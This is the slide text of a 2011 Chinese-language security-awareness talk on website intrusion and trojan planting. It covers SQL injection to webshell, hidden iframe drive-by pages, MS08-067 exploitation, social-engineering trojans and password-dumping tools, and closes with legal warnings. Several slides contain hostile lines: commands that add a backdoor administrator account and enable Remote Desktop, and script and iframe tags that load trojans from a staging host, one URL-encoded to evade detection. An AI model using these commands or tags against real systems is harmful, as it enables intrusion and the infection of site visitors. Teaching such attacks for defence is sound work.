黑站騎士

69,997 views

Published on

2011/10/15_台南SA活動

Published in: Technology
0 Comments
8 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
69,997
On SlideShare
0
From Embeds
0
Number of Embeds
54,612
Actions
Shares
0
Downloads
112
Comments
0
Likes
8
Embeds 0
No embeds

No notes for slide

黑站騎士

  1. 1. 黑站騎士
  2. 2. 愛在攻擊發起時 弱點掃描
  3. 3. 愛在攻擊發起時• 弱點掃描工具• Switch密碼• 置換網頁
  4. 4. 入侵環境條件:Server端:具有「CGI」漏洞的IIS (Web Server)具有「XP_cmdshell」的SQL Server沒有更改IIS預設路徑或太好猜網頁是屬於「.htm & .html」網站資料夾權限是「Everyone 完全控制」Client:具有「MS06-014」 MDAC 漏洞的電腦 或具有「MS04-023」chm 漏洞的電腦
  5. 5. 手法探討:下載「.htm & .html」網頁製造遠端遙控型木馬(原生型木馬)製造「MS06-014、 MS04-023 」漏洞的網頁木馬先掃描取得具有CGI漏洞的IIS (Web Server)利用具有XP_cmdshell的SQL Server漏洞上傳網頁具有漏洞的使用者瀏覽後植入多重木馬缺點:Server端及Client端均須利用很多漏洞,不會這麼剛好
  6. 6. 恨在床邊不是我 Metasploit Framework
  7. 7. 恨在床邊不是我• MS08-067掃描工具• Metasploit Framework• 啟動遠端桌面
  8. 8. 入侵環境條件:具有「MS08-067」的電腦。在受影響的系統上收到蓄意製作的 RPC 要求,則該弱點可能會允許遠端執行程式碼。http://www.microsoft.com/taiwan/technet/security/bulletin/ms08-067.mspx常見於具有「本機使用者帳號的電腦」Windows 平台均有內建終端機服務(遠端桌面)操作遠端桌面時被害人不易有感覺。
  9. 9. 手法探討:先掃描取得具有漏洞的電腦使用MS08-067(MS06-040)漏洞工具使用DOS語法加入帳號與群組取得權限net user hacker 1234 /addnet localgroup administrators hacker /add啟動終端機服務(遠端桌面)regedit /s 3389.regNet start “Terminal Services”使用遠端桌面遙控缺點:不能跨越 Router & VLAN僅適合於區網及無線網路環境
  10. 10. 重點提示:微軟MS08-067漏洞讓Windows面臨著四年來最大安全威脅。首先,該漏洞的影響範圍非常廣泛,幾乎所有的Windows(2000~XP~2003~vista~2008)都面臨被攻擊的威脅;其次,駭客一旦發起攻擊,不但可以遠端控制用戶電腦,展開一系列的竊取行為。更嚴重的是該漏洞可能導致「蠕蟲」攻擊,導致使用者程序崩潰,甚至系統崩潰。
  11. 11. 所以明明只是打針 卻”注入”進去
  12. 12. 所以明明只是打針• SQL 隱碼語法• 注入工具• DB掛馬
  13. 13. 入侵環境條件:Server端:網頁是屬於「.asp & .aspx & .php」網頁程式具有「 SQL Injection 」網頁應用程式呼叫DB權限太大DB的資料表沒有鎖定權限具有「XP_cmdshell」的SQL Server沒有更改IIS預設路徑或太好猜網站資料夾權限是「Everyone 完全控制」Client:具有「MS06-014」MDAC 漏洞的電腦 或具有「MS07-017」ani 漏洞的電腦
  14. 14. 手法探討:搜尋及尋找具有「 SQL Injection 」製造遠端遙控型木馬(原生型木馬)製造「MS06-014、 MS07-017 」漏洞的網頁木馬利用「 SQL 語法 」新增<iFrame>馬利用具有IIS 與 SQL Server漏洞上傳ASP網馬利用ASP網馬褂<iFrame>馬缺點:Server端及Client端均須利用很多漏洞,不會這麼剛好修正「 SQL Injection 」之後就沒效了。
  15. 15. 然後生出一堆馬 抓包、上傳、掛馬
  16. 16. 然後生出一堆馬• 封包擷取工具• 論壇上傳程式• ASP網頁木馬• 掛馬語法• 跳板網站上的木馬
  17. 17. 模擬案例:JS與論壇掛馬 入侵過程入侵前準備:製作 MS04-023、MS06-014、MS07-004 的 Exploits程式來呼叫木馬。於 JavaScript 中撰寫 document.write(“<iframe src=存放 Exploits 的網址 width=0 height=0></iframe>”);並存檔為 123.js 來呼叫Exploits 。將 123.js 檔案 進行 變型及加密 來避免被防毒軟體查殺。最後將MS04-023、MS06-014、MS07-004 的 Exploits程式及製作好的 123 .js 檔案放置於 192.168.123.101之跳板網站內 Muma 的目錄中備用。
  18. 18. 模擬案例:JS與論壇掛馬 入侵過程入侵中過程:利用 Sniffer 技巧於Dvbbs 論壇中截獲輸入於該論壇的Cookie 。利用該 Cookie 內儲存之帳號與密碼所取得之權限,搭配論壇上傳程式,將 WebShell (windows.asp)上傳至該台Web Server的論壇目錄中。於 www.xyz.com.tw/dvbbs/windows.asp 中確認WebShell (windows.asp)已經成功傳入。目的是利用 存放於Dvbbs 論壇中的 WebShell 來將XYZ公司的網站掛馬。
  19. 19. 模擬案例:JS與論壇掛馬 入侵過程入侵中過程:撰寫掛馬語法 <script language=javascriptsrc=http://192.168.123.101/muma/123.js></script>為避免存放 123.js 的跳板網站URL網址被阻擋,將該網址進行URL編碼 來逃避偵測。 <script language=javascriptsrc=http://%31%39%32%2E%31%36%38%2E%31%32%33%2E%31%30%31%2F%6D%75%6D%61/123.js > </script>利用 WebShell (windows.asp)將語法掛馬後,查看 XYZ公司網頁HTML原始碼是否有被異動。
  20. 20. 模擬案例:JS與論壇掛馬 入侵過程入侵後感染:當使用者瀏覽 XYZ公司 的網站後,變會觸發HTML內的掛馬語法感染流程:URL編碼的掛馬語法 轉換跳板網站中的123.js 解析JS內變型及加密的Exploits 程式網址 還原Exploits 程式網址內的木馬程式 植入
  21. 21. WebShell 流程 駭客 知名的官 方網站 [入侵後上傳] Webshell (網頁 木馬) 首頁 [掛馬] 將首頁或其他不知情的一 網頁植入<iFrme>隱般使用者 藏框架引導到跳版網 站 跳版網站 木馬 掛馬的網頁
  22. 22. (Demo)手法探討:製造相關的木馬並放置在跳板網址主機上。製造觸發「 MS04-023、MS06-014、MS07-004 」漏洞的語法。尋找具有 SQL Server漏洞或程式瑕疵上傳ASP網馬(WebShell)。利用Web Shell 將所屬網站褂上<iFrame>等之惡意連結。缺點:Server端及Client端均須利用很多漏洞,如果不是管理者太粗心,不會這麼剛好都中獎。修正相關利用到的漏洞之後該手法就沒效了。
  23. 23. 只是路過打醬油的 社交工程
  24. 24. 只是路過打醬油的• 利用弱點植入木馬(RAR、Word)• 影片加工(RM、暴風影音II)• 郵件社交工程(MS06001)
  25. 25. 入侵環境條件:具有「RealPlay」 漏洞的電腦 或喜歡從P2P抓.rm & .rmvb & .wmv影片的使用者
  26. 26. 手法探討:製造遠端遙控型木馬(原生型木馬)製造「RealPlay」漏洞的網頁木馬利用綑綁器合併想辦法送到使用者身上缺點:需要有安裝「RealPlay」的電腦需要喜歡看.rm & .rmvb & .wmv影片的使用者
  27. 27. 入侵環境條件:具有「MS06-001」wmf 漏洞的電腦使用Windows XP預設的圖片瀏覽程式「Windows圖片和傳真檢視器」使用IE5 / IE6瀏覽器
  28. 28. 手法探討:製造遠端遙控型木馬(原生型木馬)製造MS06-001漏洞工具利用網頁同時呼叫圖片與wmf檔案被害人網頁瀏覽或郵件點選超連結後植入反向連結木馬可穿越防火牆傳出資料缺點:目標換了圖片瀏覽工具就沒效了
  29. 29. 入侵環境條件:具有「MS06-001」wmf 漏洞的電腦安裝「WINRAR」壓縮/解壓縮軟體
  30. 30. 手法探討:製造「彩虹橋」遠端遙控型木馬 (777.exe)製造MS06-001漏洞工具 (777.jpg 777.wmf)撰寫呼叫wmf檔案的掛馬網址 http://192.168.123.101/777/777.htm width=0<iframe src=height=0></iframe>使用WINRAR製做具有XSS的自動解壓縮檔案被害人點選自動解壓縮檔案後植入反向連結「彩虹橋」木馬可穿越防火牆傳出資料(例如:port:8080)缺點:目標換了WINRAR壓縮/解壓縮工具就沒效了修補了MS06-001漏洞就不會被觸發。(但攻擊者可換成其它漏洞)
  31. 31. 社交工程攻擊模式 Internet 1. 駭客設計攻擊陷 阱程式(如 阱程式 如特殊 4. 受害者開啟電子 受害者開啟電子 開啟 6. 後門程式逆向連 後門程式逆向連 檔案或外部 Word 檔案或外部 郵件 接,向遠端駭客 惡意連結) 惡意連結 報到 將攻擊程式置入 2. 將攻擊程式置入 5. 啟動駭客設計的 電子郵件中 陷阱,將被植入 陷阱,將被植入 後門程式 3. 寄發電子郵件給 特定的目標 交通部管理資訊中心 36
  32. 32. 預覽視窗開啟 或 點選郵件開啟 Mail Server 社交工程 郵件攻擊手 預覽或點選 <iFrame>計數用WebServer
  33. 33. 點選郵件開啟後再點選郵件內 超連結 Mail Server 社交工程 郵件攻擊手 點選超連結 http://xxx計數用WebServer
  34. 34. 點選郵件開啟後再點選郵件內 附件檔 Mail Server 社交工程 郵件攻擊手 點選附件檔計數用WebServer
  35. 35. 這一切都是 ”雲端”害的
  36. 36. 何謂雲端運算雲端的基本概念,是透過網路將龐大的運算處理程式自動分拆成無數個較小的子程式,再由多部伺服器所組成的龐大系統搜尋、運算分析之後將處理結果回傳給使用 者。透過這項技術,遠端的服務供應商可以在數秒之內,達成處理數以千萬計甚至億計的資訊,達到和「超級電腦」同樣強大效能的網路服務。
  37. 37. 3.攻擊使用者與雲端之間的連線。(例: 1.攻擊雲端本身。(例:DDoS,攻DDoS,中間人攻擊) 擊設備,退信攻擊,Web攻擊) 2.攻擊雲 端週邊。 (例: DNS欺騙, 憑證偽冒, 中間人攻 擊) 4.攻擊雲端使用者。(例:社交工程,竊取帳號/密碼)
  38. 38. 雲端攻擊入侵:1. 攻擊雲端本身。(例:DDoS,攻擊設備,退信攻擊,Web 攻擊)2. 攻擊雲端週邊。(例:DNS欺騙,憑證偽冒,中間人攻擊)3. 攻擊使用者與雲端之間的連線。(例:DDoS,中間人 攻擊)4. 攻擊雲端使用者。(例:社交工程,竊取帳號/密碼)5. 建立駭客雲利用合法管道攻擊(例:以合法掩護非法)
  39. 39. GMail Commander GMail Commander 是一種檢查信件的軟體,它 允許於檢查信件的同時,接受來自於Gmail信箱所 發送的各種控制指令,來進行遠端遙控。 註:遠端遙控部分需自行於Gmail中撰寫批次檔, 或者呼叫系統的捷徑列。
  40. 40. GMail Commander 問題點: 發送純文字檔的信,而目標電腦並沒有把信接收下 去的狀態下去控制及觸發對方電腦起床工作了。 參考資料 (原始碼): http://www.autohotkey.com/forum/topic67120.html
  41. 41. 單機電腦:挖出電腦密碼軟體名稱: Windows Password Recovery Tools 工具組(包含:如下表格)下載網頁:請利用搜尋引擎搜尋軟體說明:原理:從系統的暫存檔、登錄檔、cookies、應用程式的安裝檔、設定檔內將儲存的密碼檔案”顯示”出來,並非使用暴力破解所計算出來。註:部分防毒軟體可能會認為這類軟體為木馬或惡意程式,如果有疑慮請勿使用 。參考網址: http://briian.com/?p=6910
  42. 42. 軟體名稱 主要功能:顯示以下軟體的密碼MessenPass 顯示MSN /Windows Live Messenger, Yahoo Messenger, ICQ , AOL , Trillian, Miranda, GAIMMail PassView 顯示Windows Live Mail, Outlook Express, Microsoft Outlook 2000/2002/2003/2007, Eudora, Mozilla Thunderbird, HotMail, Yahoo!, GmailIE PassView 顯示 IE 4, IE5, IE6, IE7, IE8 所暫存的密碼Dialupass Windows 2000, XP, Vista, 2003, 2008, 7的撥號軟體Network Password Recovery Windows 2000, XP, Vista, 2003, 2008, 7的網芳密碼SniffPass 側錄 Web/FTP/Email 的密碼WebBrowserPassView 顯示Internet Explorer (Version 4.0 ~ 8.0), Mozilla Firefox (All Versions), Google Chrome, Opera 密碼WirelessKeyView 顯示 WEP/WPA 所儲存在電腦的密碼Remote Desktop PassView 顯示 遠端桌面軟體 所暫存在電腦的密碼VNCPassView 顯示 VNC遙控軟體 所儲存在 Registry(HKEY_CURRENT_USER) 的密碼
  43. 43. 結論
  44. 44. 法律宣導刑法第4條規定:犯罪之行為或結果,有一在中華民國領域內者,為在中華民國領域內犯罪。刑法第153條規定:以文字、圖畫或他法,煽惑他人犯罪者,處二年以下徒刑、拘役或一千元以下罰金。刑法第339-3條:意圖為自己或第三人不法之所有,以不正方法將虛偽資料或不正指令輸入電腦或其相關設備,製作財產權之得喪、變更紀錄,而取得他人財產,得處以七年以下有期徒刑。刑法第358條規定:無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞,而入侵他人之電腦或其相關設備者,處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。刑法第359條:無故取得、刪除或變更他人電腦或其相關設備之電磁紀錄,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科二十萬元以下罰金。刑法第360條規定:無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備,致生損害於公眾或他人者,處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。刑法第362條規定:製作專供犯罪(例如利用病毒程式干擾電腦)之程式,而供自己或他人使用,致生損害於公眾或他人時,處五年以下有期徒刑、或科二十萬元以下罰金。電腦處理個人資料保護法第34條:意圖為自己或第三人不法之利益或損害他人之利益,而對於個人資料檔案為非法輸出、干擾、變更、刪除或以其他非法方法妨害個人資料檔案之正確,致生損害於他人者,處三年以下有期徒刑、拘役或科新台幣五萬元以下罰金。
  45. 45. 講師: 呂守箴E-Mail:shooujen@gmail.com部落格:網路攻防戰:http://anti-hacker.blogspot.comPlurk噗浪: http://www.plurk.com/openblueFaceBook: http://www.facebook.com/openblue粉絲團:http://www.facebook.com/NetWarGame網路直播頻道:http://zh-tw.justin.tv/openblueTV

×